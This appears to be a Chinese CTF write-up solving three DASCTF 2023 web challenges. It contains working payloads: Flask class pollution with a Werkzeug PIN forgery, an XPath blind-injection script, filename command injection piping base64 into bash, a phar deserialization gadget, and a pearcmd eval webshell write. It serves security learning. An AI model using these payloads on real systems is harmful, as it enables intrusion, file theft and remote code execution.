DASCTF 2023 & 0X401七月暑期挑战赛-WEB Writeup
web
EzFlask
import uuid
from flask import Flask, request, session
from secret import black_list
import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)
这题关键点在函数 merge
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
这个函数是一个熟悉的原型链污染函数
然后没有见过python原型链污染,所以学习开始
https://tttang.com/archive/1876/
然后污染__file__实现任意文件读取
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
测试一下污染:
user = user()
print(user.__init__.__globals__['__file__'])
payload= {
"username" : "fuck",
"password" : "you",
"__init__" :{
"__globals__":{
"__file__":"this is test"
}
}
}
merge(payload,user)
print(user.__init__.__globals__['__file__'])
C:\Users\Harder\PycharmProjects\Script\main.py
this is test
* Serving Flask app 'main'
* Debug mode: off
first payload:
发现__init__被过滤了,用unicode编码绕过 _ == \u005f
# 注意改为Content-Type: application/json
# 通过修改__file__实现任意文件读取
{
"username" : "fuck",
"password" : "you",
"__init_\u005f" :{
"__globals__":{
"__file__":"/etc/passwd"
}
}
}
second payload:
_static_url_path
这个属性中存放的是flask
中静态目录的值,默认该值为static
。访问flask
下的资源可以采用如http://domain/static/xxx
,这样实际上就相当于访问_static_url_path
目录下xxx
的文件并将该文件内容作为响应内容返回
__init__被禁止,json识别unicode编码绕过
# 注意改为Content-Type: application/json
{
"username" : "fuck",
"password" : "you",
"__init_\u005f" :{
"__globals__":{
"app":{
"_static_folder":"/"
}
}
}
}
# 用/static/xxx下载任意文件
然后读取发现处于debug模式想到了写pin码,访问路由console
写pin码的exp需要找到对应的版本,网卡地址卡了我半天,然后需要找到对应版本的pin码生成过程
可以去这个网址看https://github.com/pallets/werkzeug/blob/2.0.x/src/werkzeug/debug/init.py#L43
import hashlib
from itertools import chain
# werkzeug2.0x 高版本
probably_public_bits = [
'root' # username /etc/passwd里面找用户
'flask.app', # modname 默认值
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' #etattr(mod, '__file__', None), 报错得到,moddir
]
"""
private_bits参数一 :str(uuid.getnode()), 读 /sys/class/net/ens0/address /sys/class/net/eth0/address b2:7d:55:14:ad:f1
private_bits参数二 :# 一.get_machine_id(), 读/etc/machine-id 二.读 /proc/self/cgroup
"""
a = str(int("b2:7d:55:14:ad:f1".replace(":",""),16))
print(a)
private_bits = [
str(int("b2:7d:55:14:ad:f1".replace(":", ""),16)),
'96cec10d3d9307792745ec3b85c89620'+'docker-fdcea420d972705e3e38b080e3ae658492f05756c6ed9d786b26b2b1b39d46e5.scope'
]
# 源码里面的
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
生成pin码:135-940-781
import os
os.popen('ls /').read()
# 'app\nbin\nboot\ndev\netc\nflag123123_is312312312_here3123213\nhome\nl
os.popen('cat /flag123123_is312312312_here3123213').read()
非预期解:
读环境变量 /proc/1/environ
DASCTF{489d78ce-1068-4b76-b3e9-d0049cff32cc}
扩展练习:
CTFSHOW 801
[GYCTF2020]FlaskApp
HSCSEC-2TH EZFLASK
MyPicDisk
考点:Xpath注入&&文件名注入&&phar反序列化&&
这里可以万能密码登陆,但是要用BP发包,可以下载 /y0u_cant_find_1t.zip源码
<?php
session_start();
error_reporting(0);
class FILE{ //file
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename); // this->filename shell ???
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml'); // xml secret
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']"; //xpath查询
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->"; // file =
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) { //回溯机制绕过 但是这里为get方法
die("hacker!"); // 文件名后缀绕过
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file']; //
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>"; //删除可以用条件竞争?
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>
XPath盲注原理
https://blog.csdn.net/qq_63701832/article/details/129777163
和sql盲注原理相似,但是要注意判断节点
这里有贴一个大佬的脚本:
import requests
import time
url ='http://5af02f69-5563-4d7c-a665-736452e37077.node4.buuoj.cn:81/index.php'
strs ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
flag =''
for i in range(1,100):
for j in strs:
#猜测根节点名称 #accounts
# payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j),"password":123,"submit":"1"} accounts
# payload_username ="<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j)
#猜测子节点名称 #user
# payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
# payload_username ="<username>'or substring(name(/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j) user
#猜测accounts的节点
# payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点
# payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码 #admin #003d7628772d6b57fec5f30ccbc82be1
# payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}' or ''='".format(i,j)、
# payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)
payload_username ="'or substring(/accounts/user/password/text(), {}, 1)='{}' or ''='".format(i,j)
data={
"username":payload_username,
"password":123,
"submit":"1"
}
print(payload_username)
r = requests.post(url=url,data=data)
time.sleep(0.1)
# print(r.text)
if "登录成功!" in r.text:
flag+=j
print(flag)
break
if "登录失败" in r.text:
break
print(flag)
然后讲爆出来的字符串进行md5解密,用somd5在线解密网站来
003d7628772d6b57fec5f30ccbc82be1 ==> 15035371139
直接登陆,看到一个文件上传界面
法一
public function __destruct(){
system("ls -all ".$this->filename); // this->filename shell ???
}
这里有文件名命令注入
;echo bHMgLw===|base64 -d|bash;test.png
total 12 -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 ';.jpg drwxrwxrwx 1 www-data www-data 4096 Aug 21 15:17 . drwxr-xr-x 1 root root 18 Oct 13 2020 .. -rw-r--r-- 1 www-data www-data 0 Aug 21 15:15 ;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;test.png -rw-r--r-- 1 www-data www-data 0 Aug 21 15:17 ;echo bHMgLw===|base64 -d|bash;test.png -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 echo 'hello';.jpg -rw-r--r-- 1 www-data www-data 0 Aug 21 15:16 echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;test.png -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 echo.jpg -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 echo;.jpg -rw-rw-r-- 1 root root 3575 Jul 19 08:49 index.php -rw-r--r-- 1 www-data www-data 0 Aug 21 15:09 ppp.jpg -rw-rw-r-- 1 root root 1475 Jul 19 08:49 y0u_cant_find_1t.zip adjaskdhnask_flag_is_here_dakjdnmsakjnfksd bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;test.png
remove
show
total 12 -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 ';.jpg drwxrwxrwx 1 www-data www-data 4096 Aug 21 15:17 . drwxr-xr-x 1 root root 18 Oct 13 2020 .. -rw-r--r-- 1 www-data www-data 0 Aug 21 15:15 ;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;test.png -rw-r--r-- 1 www-data www-data 0 Aug 21 15:17 ;echo bHMgLw===|base64 -d|bash;test.png -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 echo 'hello';.jpg -rw-r--r-- 1 www-data www-data 0 Aug 21 15:16 echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;test.png -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 echo.jpg -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 echo;.jpg -rw-rw-r-- 1 root root 3575 Jul 19 08:49 index.php -rw-r--r-- 1 www-data www-data 0 Aug 21 15:09 ppp.jpg -rw-rw-r-- 1 root root 1475 Jul 19 08:49 y0u_cant_find_1t.zip DASCTF{fe956a03-3c06-4fed-a8d6-78914acd6e1f}
这个利用Base64解密,管道|符传送,传递给bash命令
让我们分解这个命令的各个部分:
- `echo Y2F0IGZsYWcudHh0`:这部分使用`echo`命令将字符串`Y2F0IGZsYWcudHh0`输出到标准输出。这个字符串是一个经过Base64编码的代码。
- `|base64 -d`:这部分使用管道操作符(`|`)将前一个命令的输出作为输入传递给`base64 -d`命令。`base64 -d`命令用于解码Base64编码的字符串。
- `|bash`:这部分使用管道操作符将前一个命令的输出作为输入传递给`bash`命令。`bash`命令用于执行Shell脚本。
- `test.png`:这部分是一个文件名,可能是作为一个伪装的图片文件名,但在这个命令中并没有被使用。
所以,这个命令的目的是将经过Base64编码的代码解码并传递给`bash`命令执行。由于这段代码是未知的且可能是恶意的,执行此命令可能会导致系统被攻击或受到损害。因此,不建议执行此命令。
法二:
FILE类中的 md5_file() is_file() unlink() 都可以触发phar反序列化
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
<?php
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
$this->filename = $filename;
}
}
$a = new FILE("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering();
生成phartest.phar,上传文件phartest.png
http://f84d423a-19fe-44d8-bb31-47929ce3a691.node4.buuoj.cn:81/index.php?file=phar://phartest.png&todo=md5
total 4 drwxr-xr-x 1 root root 89 Aug 22 03:33 . drwxr-xr-x 1 root root 89 Aug 22 03:33 .. -rwxr-xr-x 1 root root 0 Aug 22 03:33 .dockerenv -rw-rw-r-- 1 root root 45 Aug 22 03:33 adjaskdhnask_flag_is_here_dakjdnmsakjnfksd drwxr-xr-x 1 root root 28 Oct 13 2020 bin drwxr-xr-x 2 root root 6 Sep 19 2020 boot drwxr-xr-x 5 root root 360 Aug 22 03:33 dev drwxr-xr-x 1 root root 66 Aug 22 03:33 etc drwxr-xr-x 2 root root 6 Sep 19 2020 home drwxr-xr-x 1 root root 21 Oct 13 2020 lib drwxr-xr-x 2 root root 34 Oct 12 2020 lib64 drwxr-xr-x 2 root root 6 Oct 12 2020 media drwxr-xr-x 2 root root 6 Oct 12 2020 mnt drwxr-xr-x 2 root root 6 Oct 12 2020 opt dr-xr-xr-x 4654 root root 0 Aug 22 03:33 proc drwx------ 1 root root 6 Oct 13 2020 root drwxr-xr-x 1 root root 21 Oct 13 2020 run drwxr-xr-x 1 root root 20 Oct 13 2020 sbin drwxr-xr-x 2 root root 6 Oct 12 2020 srv dr-xr-xr-x 13 root root 0 Mar 28 03:11 sys drwxrwxrwt 1 root root 51 Aug 22 03:38 tmp drwxr-xr-x 1 root root 19 Oct 12 2020 usr drwxr-xr-x 1 root root 17 Oct 13 2020 var DASCTF{e689207b-0456-4db6-a782-681b674b8264}
DASCTF{fe956a03-3c06-4fed-a8d6-78914acd6e1f}
ez_cms
许多关于cms的漏洞:
https://xz.aliyun.com/t/7629
考点为pearcmd
个人感觉pearcmd的trick没有挖掘完
https://w4rsp1t3.moe/2021/11/26/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8pearcmd%E8%BF%9B%E8%A1%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/
pearcmd利用前提条件:
1 有文件包含点
2 开启了pear扩展 (可以当他是一个框架)
3 配置文件中register_argc_argv 设置为On,而默认为Off($_SERVER[‘argv’]生效)
4 找到pear文件的位置,默认位置是/usr/local/lib/php/
PEAR扩展默认安装位置是: /usr/local/lib/php/
这题我们看cms版本发现有文件包含漏洞 CMS V1.0 漏洞点为index.php?r=
/admin/index.php和/index.php两处代码一样
<?php //单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断传入参数r是否为空 空的话就给$action赋值index
index include('files/'.$action.'.php'); //文件包含
?>
pearcmd有三种姿势,但是只有这种姿势能打通
/?+config-create+/&r=../../../../../../../../../usr/share/pear/pearcmd&<?=eval($_REQUEST[1]);?>+/tmp/aaa123.php
### 这个在url里面传值会被进行一次urlencode,用BP传避免被urlencode
### 因为上面源码拼接了一个".php" 故下面的payload要把.php去掉
/?r=../../../../../../../../../tmp/aaa123&1=system('cat /flag_you_find_ya');
DASCTF{3a66a909-3e65-4052-94ac-baa3c9ae5308}